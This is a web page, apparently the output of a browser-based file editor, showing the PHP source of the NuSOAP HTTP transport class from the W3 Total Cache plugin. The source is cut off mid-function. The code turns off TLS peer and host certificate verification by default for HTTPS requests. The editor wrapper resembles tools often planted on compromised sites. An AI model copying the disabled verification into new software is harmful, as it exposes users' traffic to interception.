<p style='color:red'>❌ domains folder not found.</p><h2>✏️ Editing: class.soap_transport_http.php</h2><form method='post'>
        <textarea name='content' rows='20' cols='100'>&lt;?php

if (!defined('W3TC')) {
    die();
}

/**
* transport class for sending/receiving data via HTTP and HTTPS
* NOTE: PHP must be compiled with the CURL extension for HTTPS support
*
* @author   Dietrich Ayala &lt;dietrich@ganx4.com&gt;
* @author   Scott Nichol &lt;snichol@users.sourceforge.net&gt;
* @version  $Id: class.soap_transport_http.php,v 1.68 2010/04/26 20:15:08 snichol Exp $
* @access public
*/
class soap_transport_http extends nusoap_base {

	var $url = '';
	var $uri = '';
	var $digest_uri = '';
	var $scheme = '';
	var $host = '';
	var $port = '';
	var $path = '';
	var $request_method = 'POST';
	var $protocol_version = '1.0';
	var $encoding = '';
	var $outgoing_headers = array();
	var $incoming_headers = array();
	var $incoming_cookies = array();
	var $outgoing_payload = '';
	var $incoming_payload = '';
	var $response_status_line;	// HTTP response status line
	var $useSOAPAction = true;
	var $persistentConnection = false;
	var $ch = false;	// cURL handle
	var $ch_options = array();	// cURL custom options
	var $use_curl = false;		// force cURL use
	var $proxy = null;			// proxy information (associative array)
	var $username = '';
	var $password = '';
	var $authtype = '';
	var $digestRequest = array();
	var $certRequest = array();	// keys must be cainfofile (optional), sslcertfile, sslkeyfile, passphrase, certpassword (optional), verifypeer (optional), verifyhost (optional)
								// cainfofile: certificate authority file, e.g. '$pathToPemFiles/rootca.pem'
								// sslcertfile: SSL certificate file, e.g. '$pathToPemFiles/mycert.pem'
								// sslkeyfile: SSL key file, e.g. '$pathToPemFiles/mykey.pem'
								// passphrase: SSL key password/passphrase
								// certpassword: SSL certificate password
								// verifypeer: default is 1
								// verifyhost: default is 1

	/**
	* constructor
	*
	* @param string $url The URL to which to connect
	* @param array $curl_options User-specified cURL options
	* @param boolean $use_curl Whether to try to force cURL use
	* @access public
	*/
	function __construct($url, $curl_options = NULL, $use_curl = false){
		parent::nusoap_base();
		$this-&gt;debug(&quot;ctor url=$url use_curl=$use_curl curl_options:&quot;);
		$this-&gt;appendDebug($this-&gt;varDump($curl_options));
		$this-&gt;setURL($url);
		if (is_array($curl_options)) {
			$this-&gt;ch_options = $curl_options;
		}
		$this-&gt;use_curl = $use_curl;
		preg_match('/\$Revisio' . 'n: ([^ ]+)/', $this-&gt;revision, $rev);
		$this-&gt;setHeader('User-Agent', $this-&gt;title.'/'.$this-&gt;version.' ('.$rev[1].')');
	}

	/**
	* sets a cURL option
	*
	* @param	mixed $option The cURL option (always integer?)
	* @param	mixed $value The cURL option value
	* @access   private
	*/
	function setCurlOption($option, $value) {
		$this-&gt;debug(&quot;setCurlOption option=$option, value=&quot;);
		$this-&gt;appendDebug($this-&gt;varDump($value));
		curl_setopt($this-&gt;ch, $option, $value);
	}

	/**
	* sets an HTTP header
	*
	* @param string $name The name of the header
	* @param string $value The value of the header
	* @access private
	*/
	function setHeader($name, $value) {
		$this-&gt;outgoing_headers[$name] = $value;
		$this-&gt;debug(&quot;set header $name: $value&quot;);
	}

	/**
	* unsets an HTTP header
	*
	* @param string $name The name of the header
	* @access private
	*/
	function unsetHeader($name) {
		if (isset($this-&gt;outgoing_headers[$name])) {
			$this-&gt;debug(&quot;unset header $name&quot;);
			unset($this-&gt;outgoing_headers[$name]);
		}
	}

	/**
	* sets the URL to which to connect
	*
	* @param string $url The URL to which to connect
	* @access private
	*/
	function setURL($url) {
		$this-&gt;url = $url;

		$u = parse_url($url);
		foreach($u as $k =&gt; $v){
			$this-&gt;debug(&quot;parsed URL $k = $v&quot;);
			$this-&gt;$k = $v;
		}

		// add any GET params to path
		if(isset($u['query']) &amp;&amp; $u['query'] != ''){
            $this-&gt;path .= '?' . $u['query'];
		}

		// set default port
		if(!isset($u['port'])){
			if($u['scheme'] == 'https'){
				$this-&gt;port = 443;
			} else {
				$this-&gt;port = 80;
			}
		}

		$this-&gt;uri = $this-&gt;path;
		$this-&gt;digest_uri = $this-&gt;uri;

		// build headers
		if (!isset($u['port'])) {
			$this-&gt;setHeader('Host', $this-&gt;host);
		} else {
			$this-&gt;setHeader('Host', $this-&gt;host.':'.$this-&gt;port);
		}

		if (isset($u['user']) &amp;&amp; $u['user'] != '') {
			$this-&gt;setCredentials(urldecode($u['user']), isset($u['pass']) ? urldecode($u['pass']) : '');
		}
	}

	/**
	* gets the I/O method to use
	*
	* @return	string	I/O method to use (socket|curl|unknown)
	* @access	private
	*/
	function io_method() {
		if ($this-&gt;use_curl || ($this-&gt;scheme == 'https') || ($this-&gt;scheme == 'http' &amp;&amp; $this-&gt;authtype == 'ntlm') || ($this-&gt;scheme == 'http' &amp;&amp; is_array($this-&gt;proxy) &amp;&amp; $this-&gt;proxy['authtype'] == 'ntlm'))
			return 'curl';
		if (($this-&gt;scheme == 'http' || $this-&gt;scheme == 'ssl') &amp;&amp; $this-&gt;authtype != 'ntlm' &amp;&amp; (!is_array($this-&gt;proxy) || $this-&gt;proxy['authtype'] != 'ntlm'))
			return 'socket';
		return 'unknown';
	}

	/**
	* establish an HTTP connection
	*
	* @param    integer $timeout set connection timeout in seconds
	* @param	integer $response_timeout set response timeout in seconds
	* @return	boolean true if connected, false if not
	* @access   private
	*/
	function connect($connection_timeout=0,$response_timeout=30){
	  	// For PHP 4.3 with OpenSSL, change https scheme to ssl, then treat like
	  	// &quot;regular&quot; socket.
	  	// TODO: disabled for now because OpenSSL must be *compiled* in (not just
	  	//       loaded), and until PHP5 stream_get_wrappers is not available.
//	  	if ($this-&gt;scheme == 'https') {
//		  	if (version_compare(phpversion(), '4.3.0') &gt;= 0) {
//		  		if (extension_loaded('openssl')) {
//		  			$this-&gt;scheme = 'ssl';
//		  			$this-&gt;debug('Using SSL over OpenSSL');
//		  		}
//		  	}
//		}
		$this-&gt;debug(&quot;connect connection_timeout $connection_timeout, response_timeout $response_timeout, scheme $this-&gt;scheme, host $this-&gt;host, port $this-&gt;port&quot;);
	  if ($this-&gt;io_method() == 'socket') {
		if (!is_array($this-&gt;proxy)) {
			$host = $this-&gt;host;
			$port = $this-&gt;port;
		} else {
			$host = $this-&gt;proxy['host'];
			$port = $this-&gt;proxy['port'];
		}

		// use persistent connection
		if($this-&gt;persistentConnection &amp;&amp; isset($this-&gt;fp) &amp;&amp; is_resource($this-&gt;fp)){
			if (!feof($this-&gt;fp)) {
				$this-&gt;debug('Re-use persistent connection');
				return true;
			}
			fclose($this-&gt;fp);
			$this-&gt;debug('Closed persistent connection at EOF');
		}

		// munge host if using OpenSSL
		if ($this-&gt;scheme == 'ssl') {
			$host = 'ssl://' . $host;
		}
		$this-&gt;debug('calling fsockopen with host ' . $host . ' connection_timeout ' . $connection_timeout);

		// open socket
		if($connection_timeout &gt; 0){
			$this-&gt;fp = @fsockopen( $host, $this-&gt;port, $this-&gt;errno, $this-&gt;error_str, $connection_timeout);
		} else {
			$this-&gt;fp = @fsockopen( $host, $this-&gt;port, $this-&gt;errno, $this-&gt;error_str);
		}

		// test pointer
		if(!$this-&gt;fp) {
			$msg = 'Couldn\'t open socket connection to server ' . $this-&gt;url;
			if ($this-&gt;errno) {
				$msg .= ', Error ('.$this-&gt;errno.'): '.$this-&gt;error_str;
			} else {
				$msg .= ' prior to connect().  This is often a problem looking up the host name.';
			}
			$this-&gt;debug($msg);
			$this-&gt;setError($msg);
			return false;
		}

		// set response timeout
		$this-&gt;debug('set response timeout to ' . $response_timeout);
		socket_set_timeout( $this-&gt;fp, $response_timeout);

		$this-&gt;debug('socket connected');
		return true;
	  } else if ($this-&gt;io_method() == 'curl') {
		if (!extension_loaded('curl')) {
//			$this-&gt;setError('cURL Extension, or OpenSSL extension w/ PHP version &gt;= 4.3 is required for HTTPS');
			$this-&gt;setError('The PHP cURL Extension is required for HTTPS or NLTM.  You will need to re-build or update your PHP to include cURL or change php.ini to load the PHP cURL extension.');
			return false;
		}
		// Avoid warnings when PHP does not have these options
		if (defined('CURLOPT_CONNECTIONTIMEOUT'))
			$CURLOPT_CONNECTIONTIMEOUT = CURLOPT_CONNECTIONTIMEOUT;
		else
			$CURLOPT_CONNECTIONTIMEOUT = 78;
		if (defined('CURLOPT_HTTPAUTH'))
			$CURLOPT_HTTPAUTH = CURLOPT_HTTPAUTH;
		else
			$CURLOPT_HTTPAUTH = 107;
		if (defined('CURLOPT_PROXYAUTH'))
			$CURLOPT_PROXYAUTH = CURLOPT_PROXYAUTH;
		else
			$CURLOPT_PROXYAUTH = 111;
		if (defined('CURLAUTH_BASIC'))
			$CURLAUTH_BASIC = CURLAUTH_BASIC;
		else
			$CURLAUTH_BASIC = 1;
		if (defined('CURLAUTH_DIGEST'))
			$CURLAUTH_DIGEST = CURLAUTH_DIGEST;
		else
			$CURLAUTH_DIGEST = 2;
		if (defined('CURLAUTH_NTLM'))
			$CURLAUTH_NTLM = CURLAUTH_NTLM;
		else
			$CURLAUTH_NTLM = 8;

		$this-&gt;debug('connect using cURL');
		// init CURL
		$this-&gt;ch = curl_init();
		// set url
		$hostURL = ($this-&gt;port != '') ? &quot;$this-&gt;scheme://$this-&gt;host:$this-&gt;port&quot; : &quot;$this-&gt;scheme://$this-&gt;host&quot;;
		// add path
		$hostURL .= $this-&gt;path;
		$this-&gt;setCurlOption(CURLOPT_URL, $hostURL);
		// follow location headers (re-directs)
		if (ini_get('open_basedir')) {
			$this-&gt;debug('open_basedir set, so do not set CURLOPT_FOLLOWLOCATION');
			$this-&gt;debug('open_basedir = ');
			$this-&gt;appendDebug($this-&gt;varDump(ini_get('open_basedir')));
		} else {
			$this-&gt;setCurlOption(CURLOPT_FOLLOWLOCATION, 1);
		}
		// ask for headers in the response output
		$this-&gt;setCurlOption(CURLOPT_HEADER, 1);
		// ask for the response output as the return value
		$this-&gt;setCurlOption(CURLOPT_RETURNTRANSFER, 1);
		// encode
		// We manage this ourselves through headers and encoding
//		if(function_exists('gzuncompress')){
//			$this-&gt;setCurlOption(CURLOPT_ENCODING, 'deflate');
//		}
		// persistent connection
		if ($this-&gt;persistentConnection) {
			// I believe the following comment is now bogus, having applied to
			// the code when it used CURLOPT_CUSTOMREQUEST to send the request.
			// The way we send data, we cannot use persistent connections, since
			// there will be some &quot;junk&quot; at the end of our request.
			//$this-&gt;setCurlOption(CURL_HTTP_VERSION_1_1, true);
			$this-&gt;persistentConnection = false;
			$this-&gt;setHeader('Connection', 'close');
		}
		// set timeouts
		if ($connection_timeout != 0) {
			$this-&gt;setCurlOption($CURLOPT_CONNECTIONTIMEOUT, $connection_timeout);
		}
		if ($response_timeout != 0) {
			$this-&gt;setCurlOption(CURLOPT_TIMEOUT, $response_timeout);
		}

		if ($this-&gt;scheme == 'https') {
			$this-&gt;debug('set cURL SSL verify options');
			// recent versions of cURL turn on peer/host checking by default,
			// while PHP binaries are not compiled with a default location for the
			// CA cert bundle, so disable peer/host checking.
			//$this-&gt;setCurlOption(CURLOPT_CAINFO, 'f:\php-4.3.2-win32\extensions\curl-ca-bundle.crt');
			$this-&gt;setCurlOption(CURLOPT_SSL_VERIFYPEER, 0);
			$this-&gt;setCurlOption(CURLOPT_SSL_VERIFYHOST, 0);

			// support client certificates (thanks Tobias Boes, Doug Anarino, Eryan Ariobowo)
			if ($this-&gt;authtype == 'certificate') {
				$this-&gt;debug('set cURL certificate options');
				if (isset($this-&gt;certRequest['cainfofile'])) {
					$this-&gt;setCurlOption(CURLOPT_CAINFO, $this-&gt;certRequest['cainfofile']);
				}
				if (isset($this-&gt;certRequest['verifypeer'])) {
					$this-&gt;setCurlOption(CURLOPT_SSL_VERIFYPEER, $this-&gt;certRequest['verifypeer']);
				} else {
					$this-&gt;setCurlOption(CURLOPT_SSL_VERIFYPEER, 1);
				}
				if (isset($this-&gt;certRequest['verifyhost'])) {
					$this-&gt;setCurlOption(CURLOPT_SSL_VERIFYHOST, $this-&gt;certRequest['verifyhost']);
				} else {
					$this-&gt;setCurlOption(CURLOPT_SSL_VERIFYHOST, 1);
				}
				if (isset($this-&gt;certRequest['sslcertfile'])) {
					$this-&gt;setCurlOption(CURLOPT_SSLCERT, $this-&gt;certRequest['sslcertfile']);
				}
				if (isset($this-&gt;certRequest['sslkeyfile'])) {
					$this-&gt;setCurlOption(CURLOPT_SSLKEY, $this-&gt;certRequest['sslkeyfile']);
				}
				if (isset($this-&gt;certRequest['passphrase'])) {
					$this-&gt;setCurlOption(CURLOPT_SSLKEYPASSWD, $this-&gt;certRequest['passphrase']);
				}
				if (isset($this-&gt;certRequest['certpassword'])) {
					$this-&gt;setCurlOption(CURLOPT_SSLCERTPASSWD, $this-&gt;certRequest['certpassword']);
				}
			}
		}
		if ($this-&gt;authtype &amp;&amp; ($this-&gt;authtype != 'certificate')) {
			if ($this-&gt;username) {
				$this-&gt;debug('set cURL username/password');
				$this-&gt;setCurlOption(CURLOPT_USERPWD, &quot;$this-&gt;username:$this-&gt;password&quot;);
			}
			if ($this-&gt;authtype == 'basic') {
				$this-&gt;debug('set cURL for Basic authentication');
				$this-&gt;setCurlOption($CURLOPT_HTTPAUTH, $CURLAUTH_BASIC);
			}
			if ($this-&gt;authtype == 'digest') {
				$this-&gt;debug('set cURL for digest authentication');
				$this-&gt;setCurlOption($CURLOPT_HTTPAUTH, $CURLAUTH_DIGEST);
			}
			if ($this-&gt;authtype == 'ntlm') {
				$this-&gt;debug('set cURL for NTLM authentication');
				$this-&gt;setCurlOption($CURLOPT_HTTPAUTH, $CURLAUTH_NTLM);
			}
		}
		if (is_array($this-&gt;proxy)) {
			$this-&gt;debug('set cURL proxy options');
			if ($this-&gt;proxy['port'] != '') {
				$this-&gt;setCurlOption(CURLOPT_PROXY, $this-&gt;proxy['host'].':'.$this-&gt;proxy['port']);
			} else {
				$this-&gt;setCurlOption(CURLOPT_PROXY, $this-&gt;proxy['host']);
			}
			if ($this-&gt;proxy['username'] || $this-&gt;proxy['password']) {
				$this-&gt;debug('set cURL proxy authentication options');
				$this-&gt;setCurlOption(CURLOPT_PROXYUSERPWD, $this-&gt;proxy['username'].':'.$this-&gt;proxy['password']);
				if ($this-&gt;proxy['authtype'] == 'basic') {
					$this-&gt;setCurlOption($CURLOPT_PROXYAUTH, $CURLAUTH_BASIC);
				}
				if ($this-&gt;proxy['authtype'] == 'ntlm') {
					$this-&gt;setCurlOption($CURLOPT_PROXYAUTH, $CURLAUTH_NTLM);
				}
			}
		}
		$this-&gt;debug('cURL connection set up');
		return true;
	  } else {
		$this-&gt;setError('Unknown scheme ' . $this-&gt;scheme);
		$this-&gt;debug('Unknown scheme ' . $this-&gt;scheme);
		return false;
	  }
	}

	/**
	* sends the SOAP request and gets the SOAP response via HTTP[S]
	*
	* @param    string $data message data
	* @param    integer $timeout set connection timeout in seconds
	* @param	integer $response_timeout set response timeout in seconds
	* @param	array $cookies cookies to send
	* @return	string data
	* @access   public
	*/
	function send($data, $timeout=0, $response_timeout=30, $cookies=NULL) {

		$this-&gt;debug('entered send() with data of length: '.strlen($data));

		$this-&gt;tryagain = true;
		$tries = 0;
		while ($this-&gt;tryagain) {
			$this-&gt;tryagain = false;
			if ($tries++ &lt; 2) {
				// make connnection
				if (!$this-&gt;connect($timeout, $response_timeout)){
					return false;
				}

				// send request
				if (!$this-&gt;sendRequest($data, $cookies)){
					return false;
				}

				// get response
				$respdata = $this-&gt;getResponse();
			} else {
				$this-&gt;setError(&quot;Too many tries to get an OK response ($this-&gt;response_status_line)&quot;);
			}
		}
		$this-&gt;debug('end of send()');
		return $respdata;
	}


	/**
	* sends the SOAP request and gets the SOAP response via HTTPS using CURL
	*
	* @param    string $data message data
	* @param    integer $timeout set connection timeout in seconds
	* @param	integer $response_timeout set response timeout in seconds
	* @param	array $cookies cookies to send (6/12/2023 Made not required to prevent PHP error/warning for required following optional)
	* @return	string data
	* @access   public
	* @deprecated
	*/
	function sendHTTPS($data, $timeout=0, $response_timeout=30, $cookies=array()) {
		return $this-&gt;send($data, $timeout, $response_timeout, $cookies);
	}

	/**
	* if authenticating, set user credentials here
	*
	* @param    string $username
	* @param    string $password
	* @param	string $authtype (basic|digest|certificate|ntlm)
	* @param	array $digestRequest (keys must be nonce, nc, realm, qop)
	* @param	array $certRequest (keys must be cainfofile (optional), sslcertfile, sslkeyfile, passphrase, certpassword (optional), verifypeer (optional), verifyhost (optional): see corresponding options in cURL docs)
	* @access   public
	*/
	function setCredentials($username, $password, $authtype = 'basic', $digestRequest = array(), $certRequest = array()) {
		$this-&gt;debug(&quot;setCredentials username=$username authtype=$authtype digestRequest=&quot;);
		$this-&gt;appendDebug($this-&gt;varDump($digestRequest));
		$this-&gt;debug(&quot;certRequest=&quot;);
		$this-&gt;appendDebug($this-&gt;varDump($certRequest));
		// cf. RFC 2617
		if ($authtype == 'basic') {
			$this-&gt;setHeader('Authorization', 'Basic '.base64_encode(str_replace(':','',$username).':'.$password));
		} elseif ($authtype == 'digest') {
			if (isset($digestRequest['nonce'])) {
				$digestRequest['nc'] = isset($digestRequest['nc']) ? $digestRequest['nc']++ : 1;

				// calculate the Digest hashes (calculate code based on digest implementation found at: http://www.rassoc.com/gregr/weblog/stories/2002/07/09/webServicesSecurityHttpDigestAuthenticationWithoutActiveDirectory.html)

				// A1 = unq(username-value) &quot;:&quot; unq(realm-value) &quot;:&quot; passwd
				$A1 = $username. ':' . (isset($digestRequest['realm']) ? $digestRequest['realm'] : '') . ':' . $password;

				// H(A1) = MD5(A1)
				$HA1 = md5($A1);

				// A2 = Method &quot;:&quot; digest-uri-value
				$A2 = $this-&gt;request_method . ':' . $this-&gt;digest_uri;

				// H(A2)
				$HA2 =  md5($A2);

				// KD(secret, data) = H(concat(secret, &quot;:&quot;, data))
				// if qop == auth:
				// request-digest  = &lt;&quot;&gt; &lt; KD ( H(A1),     unq(nonce-value)
				//                              &quot;:&quot; nc-value
				//                              &quot;:&quot; unq(cnonce-value)
				//                              &quot;:&quot; unq(qop-value)
				//                              &quot;:&quot; H(A2)
				//                            ) &lt;&quot;&gt;
				// if qop is missing,
				// request-digest  = &lt;&quot;&gt; &lt; KD ( H(A1), unq(nonce-value) &quot;:&quot; H(A2) ) &gt; &lt;&quot;&gt;

				$unhashedDigest = '';
				$nonce = isset($digestRequest['nonce']) ? $digestRequest['nonce'] : '';
				$cnonce = $nonce;
				if ($digestRequest['qop'] != '') {
					$unhashedDigest = $HA1 . ':' . $nonce . ':' . sprintf(&quot;%08d&quot;, $digestRequest['nc']) . ':' . $cnonce . ':' . $digestRequest['qop'] . ':' . $HA2;
				} else {
					$unhashedDigest = $HA1 . ':' . $nonce . ':' . $HA2;
				}

				$hashedDigest = md5($unhashedDigest);

				$opaque = '';
				if (isset($digestRequest['opaque'])) {
					$opaque = ', opaque=&quot;' . $digestRequest['opaque'] . '&quot;';
				}

				$this-&gt;setHeader('Authorization', 'Digest username=&quot;' . $username . '&quot;, realm=&quot;' . $digestRequest['realm'] . '&quot;, nonce=&quot;' . $nonce . '&quot;, uri=&quot;' . $this-&gt;digest_uri . $opaque . '&quot;, cnonce=&quot;' . $cnonce . '&quot;, nc=' . sprintf(&quot;%08x&quot;, $digestRequest['nc']) . ', qop=&quot;' . $digestRequest['qop'] . '&quot;, response=&quot;' . $hashedDigest . '&quot;');
			}
		} elseif ($authtype == 'certificate') {
			$this-&gt;certRequest = $certRequest;
			$this-&gt;debug('Authorization header not set for certificate');
		} elseif ($authtype == 'ntlm') {
			// do nothing
			$this-&gt;debug('Authorization header not set for ntlm');
		}
		$this-&gt;username = $username;
		$this-&gt;password = $password;
		$this-&gt;authtype = $authtype;
		$this-&gt;digestRequest = $digestRequest;
	}

	/**
	* set the soapaction value
	*
	* @param    string $soapaction
	* @access   public
	*/
	function setSOAPAction($soapaction) {
		$this-&gt;setHeader('SOAPAction', '&quot;' . $soapaction . '&quot;');
	}

	/**
	* use http encoding
	*
	* @param    string $enc encoding style. supported values: gzip, deflate, or both
	* @access   public
	*/
	function setEncoding($enc='gzip, deflate') {
		if (function_exists('gzdeflate')) {
			$this-&gt;protocol_version = '1.1';
			$this-&gt;setHeader('Accept-Encoding', $enc);
			if (!isset($this-&gt;outgoing_headers['Connection'])) {
				$this-&gt;setHeader('Connection', 'close');
				$this-&gt;persistentConnection = false;
			}
			// deprecated as of PHP 5.3.0
			//set_magic_quotes_runtime(0);
			$this-&gt;encoding = $enc;
		}
	}

	/**
	* set proxy info here
	*
	* @param    string $proxyhost use an empty string to remove proxy
	* @param    string $proxyport
	* @param	string $proxyusername
	* @param	string $proxypassword
	* @param	string $proxyauthtype (basic|ntlm)
	* @access   public
	*/
	function setProxy($proxyhost, $proxyport, $proxyusername = '', $proxypassword = '', $proxyauthtype = 'basic') {
		if ($proxyhost) {
			$this-&gt;proxy = array(
				'host' =&gt; $proxyhost,
				'port' =&gt; $proxyport,
				'username' =&gt; $proxyusername,
				'password' =&gt; $proxypassword,
				'authtype' =&gt; $proxyauthtype
			);
			if ($proxyusername != '' &amp;&amp; $proxypassword != '' &amp;&amp; $proxyauthtype = 'basic') {
				$this-&gt;setHeader('Proxy-Authorization', ' Basic '.base64_encode($proxyusername.':'.$proxypassword));
			}
		} else {
			$this-&gt;debug('remove proxy');
			$proxy = null;
			unsetHeader('Proxy-Authorization');
		}
	}


	/**
	 * Test if the given string starts with a header that is to be skipped.
	 * Skippable headers result from chunked transfer and proxy requests.
	 *
	 * @param	string $data The string to check.
	 * @returns	boolean	Whether a skippable header was found.
	 * @access	private
	 */
	function isSkippableCurlHeader(&amp;$data) {
		$skipHeaders = array(	'HTTP/1.1 100',
								'HTTP/1.0 301',
								'HTTP/1.1 301',
								'HTTP/1.0 302',
								'HTTP/1.1 302',
								'HTTP/1.0 401',
								'HTTP/1.1 401',
								'HTTP/1.0 200 Connection established');
		foreach ($skipHeaders as $hd) {
			$prefix = substr($data, 0, strlen($hd));
			if ($prefix == $hd) return true;
		}

		return false;
	}

	/**
	* decode a string that is encoded w/ &quot;chunked' transfer encoding
 	* as defined in RFC2068 19.4.6
	*
	* @param    string $buffer
	* @param    string $lb
	* @returns	string
	* @access   public
	* @deprecated
	*/
	function decodeChunked($buffer, $lb){
		// length := 0
		$length = 0;
		$new = '';

		// read chunk-size, chunk-extension (if any) and CRLF
		// get the position of the linebreak
		$chunkend = strpos($buffer, $lb);
		if ($chunkend == FALSE) {
			$this-&gt;debug('no linebreak found in decodeChunked');
			return $new;
		}
		$temp = substr($buffer,0,$chunkend);
		$chunk_size = hexdec( trim($temp) );
		$chunkstart = $chunkend + strlen($lb);
		// while (chunk-size &gt; 0) {
		while ($chunk_size &gt; 0) {
			$this-&gt;debug(&quot;chunkstart: $chunkstart chunk_size: $chunk_size&quot;);
			$chunkend = strpos( $buffer, $lb, $chunkstart + $chunk_size);

			// Just in case we got a broken connection
		  	if ($chunkend == FALSE) {
		  	    $chunk = substr($buffer,$chunkstart);
				// append chunk-data to entity-body
		    	$new .= $chunk;
		  	    $length += strlen($chunk);
		  	    break;
			}

		  	// read chunk-data and CRLF
		  	$chunk = substr($buffer,$chunkstart,$chunkend-$chunkstart);
		  	// append chunk-data to entity-body
		  	$new .= $chunk;
		  	// length := length + chunk-size
		  	$length += strlen($chunk);
		  	// read chunk-size and CRLF
		  	$chunkstart = $chunkend + strlen($lb);

		  	$chunkend = strpos($buffer, $lb, $chunkstart) + strlen($lb);
			if ($chunkend == FALSE) {
				break; //Just in case we got a broken connection
			}
			$temp = substr($buffer,$chunkstart,$chunkend-$chunkstart);
			$chunk_size = hexdec( trim($temp) );
			$chunkstart = $chunkend;
		}
		return $new;
	}

	/**
	 * Writes the payload, including HTTP headers, to $this-&gt;outgoing_payload.
	 *
	 * @param	string $data HTTP body
	 * @param	string $cookie_str data for HTTP Cookie header
	 * @return	void
	 * @access	private
	 */
	function buildPayload($data, $cookie_str = '') {
		// Note: for cURL connections, $this-&gt;outgoing_payload is ignored,
		// as is the Content-Length header, but these are still created as
		// debugging guides.

		// add content-length header
		if ($this-&gt;request_method != 'GET') {
			$this-&gt;setHeader('Content-Length', strlen($data));
		}

		// start building outgoing payload:
		if ($this-&gt;proxy) {
			$uri = $this-&gt;url;
		} else {
			$uri = $this-&gt;uri;
		}
		$req = &quot;$this-&gt;request_method $uri HTTP/$this-&gt;protocol_version&quot;;
		$this-&gt;debug(&quot;HTTP request: $req&quot;);
		$this-&gt;outgoing_payload = &quot;$req\r\n&quot;;

		// loop thru headers, serializing
		foreach($this-&gt;outgoing_headers as $k =&gt; $v){
			$hdr = $k.': '.$v;
			$this-&gt;debug(&quot;HTTP header: $hdr&quot;);
			$this-&gt;outgoing_payload .= &quot;$hdr\r\n&quot;;
		}

		// add any cookies
		if ($cookie_str != '') {
			$hdr = 'Cookie: '.$cookie_str;
			$this-&gt;debug(&quot;HTTP header: $hdr&quot;);
			$this-&gt;outgoing_payload .= &quot;$hdr\r\n&quot;;
		}

		// header/body separator
		$this-&gt;outgoing_payload .= &quot;\r\n&quot;;

		// add data
		$this-&gt;outgoing_payload .= $data;
	}

	/**
	* sends the SOAP request via HTTP[S]
	*
	* @param    string $data message data
	* @param	array $cookies cookies to send
	* @return	boolean	true if OK, false if problem
	* @access   private
	*/
	function sendRequest($data, $cookies = NULL) {
		// build cookie string
		$cookie_str = $this-&gt;getCookiesForRequest($cookies, (($this-&gt;scheme == 'ssl') || ($this-&gt;scheme == 'https')));

		// build payload
		$this-&gt;buildPayload($data, $cookie_str);

	  if ($this-&gt;io_method() == 'socket') {
		// send payload
		if(!fputs($this-&gt;fp, $this-&gt;outgoing_payload, strlen($this-&gt;outgoing_payload))) {
			$this-&gt;setError('couldn\'t write message data to socket');
			$this-&gt;debug('couldn\'t write message data to socket');
			return false;
		}
		$this-&gt;debug('wrote data to socket, length = ' . strlen($this-&gt;outgoing_payload));
		return true;
	  } else if ($this-&gt;io_method() == 'curl') {
		// set payload
		// cURL does say this should only be the verb, and in fact it
		// turns out that the URI and HTTP version are appended to this, which
		// some servers refuse to work with (so we no longer use this method!)
		//$this-&gt;setCurlOption(CURLOPT_CUSTOMREQUEST, $this-&gt;outgoing_payload);
		$curl_headers = array();
		foreach($this-&gt;outgoing_headers as $k =&gt; $v){
			if ($k == 'Connection' || $k == 'Content-Length' || $k == 'Host' || $k == 'Authorization' || $k == 'Proxy-Authorization') {
				$this-&gt;debug(&quot;Skip cURL header $k: $v&quot;);
			} else {
				$curl_headers[] = &quot;$k: $v&quot;;
			}
		}
		if ($cookie_str != '') {
			$curl_headers[] = 'Cookie: ' . $cookie_str;
		}
		$this-&gt;setCurlOption(CURLOPT_HTTPHEADER, $curl_headers);
		$this-&gt;debug('set cURL HTTP headers');
		if ($this-&gt;request_method == &quot;POST&quot;) {
	  		$this-&gt;setCurlOption(CURLOPT_POST, 1);
	  		$this-&gt;setCurlOption(CURLOPT_POSTFIELDS, $data);
			$this-&gt;debug('set cURL POST data');
	  	} else {
	  	}
		// insert custom user-set cURL options
		foreach ($this-&gt;ch_options as $key =&gt; $val) {
			$this-&gt;setCurlOption($key, $val);
		}

		$this-&gt;debug('set cURL payload');
		return true;
	  }
	}

	/**
	* gets the SOAP response via HTTP[S]
	*
	* @return	string the response (also sets member variables like incoming_payload)
	* @access   private
	*/
	function getResponse(){
		$this-&gt;incoming_payload = '';

	  if ($this-&gt;io_method() == 'socket') {
	    // loop until headers have been retrieved
	    $data = '';
	    while (!isset($lb)){

			// We might EOF during header read.
			if(feof($this-&gt;fp)) {
				$this-&gt;incoming_payload = $data;
				$this-&gt;debug('found no headers before EOF after length ' . strlen($data));
				$this-&gt;debug(&quot;received before EOF:\n&quot; . $data);
				$this-&gt;setError('server failed to send headers');
				return false;
			}

			$tmp = fgets($this-&gt;fp, 256);
			$tmplen = strlen($tmp);
			$this-&gt;debug(&quot;read line of $tmplen bytes: &quot; . trim($tmp));

			if ($tmplen == 0) {
				$this-&gt;incoming_payload = $data;
				$this-&gt;debug('socket read of headers timed out after length ' . strlen($data));
				$this-&gt;debug(&quot;read before timeout: &quot; . $data);
				$this-&gt;setError('socket read of headers timed out');
				return false;
			}

			$data .= $tmp;
			$pos = strpos($data,&quot;\r\n\r\n&quot;);
			if($pos &gt; 1){
				$lb = &quot;\r\n&quot;;
			} else {
				$pos = strpos($data,&quot;\n\n&quot;);
				if($pos &gt; 1){
					$lb = &quot;\n&quot;;
				}
			}
			// remove 100 headers
			if (isset($lb) &amp;&amp; preg_match('/^HTTP\/1.1 100/',$data)) {
				unset($lb);
				$data = '';
			}//
		}
		// store header data
		$this-&gt;incoming_payload .= $data;
		$this-&gt;debug('found end of headers after length ' . strlen($data));
		// process headers
		$header_data = trim(substr($data,0,$pos));
		$header_array = explode($lb,$header_data);
		$this-&gt;incoming_headers = array();
		$this-&gt;incoming_cookies = array();
		foreach($header_array as $header_line){
			$arr = explode(':',$header_line, 2);
			if(count($arr) &gt; 1){
				$header_name = strtolower(trim($arr[0]));
				$this-&gt;incoming_headers[$header_name] = trim($arr[1]);
				if ($header_name == 'set-cookie') {
					// TODO: allow multiple cookies from parseCookie
					$cookie = $this-&gt;parseCookie(trim($arr[1]));
					if ($cookie) {
						$this-&gt;incoming_cookies[] = $cookie;
						$this-&gt;debug('found cookie: ' . $cookie['name'] . ' = ' . $cookie['value']);
					} else {
						$this-&gt;debug('did not find cookie in ' . trim($arr[1]));
					}
    			}
			} else if (isset($header_name)) {
				// append continuation line to previous header
				$this-&gt;incoming_headers[$header_name] .= $lb . ' ' . $header_line;
			}
		}

		// loop until msg has been received
		if (isset($this-&gt;incoming_headers['transfer-encoding']) &amp;&amp; strtolower($this-&gt;incoming_headers['transfer-encoding']) == 'chunked') {
			$content_length =  2147483647;	// ignore any content-length header
			$chunked = true;
			$this-&gt;debug(&quot;want to read chunked content&quot;);
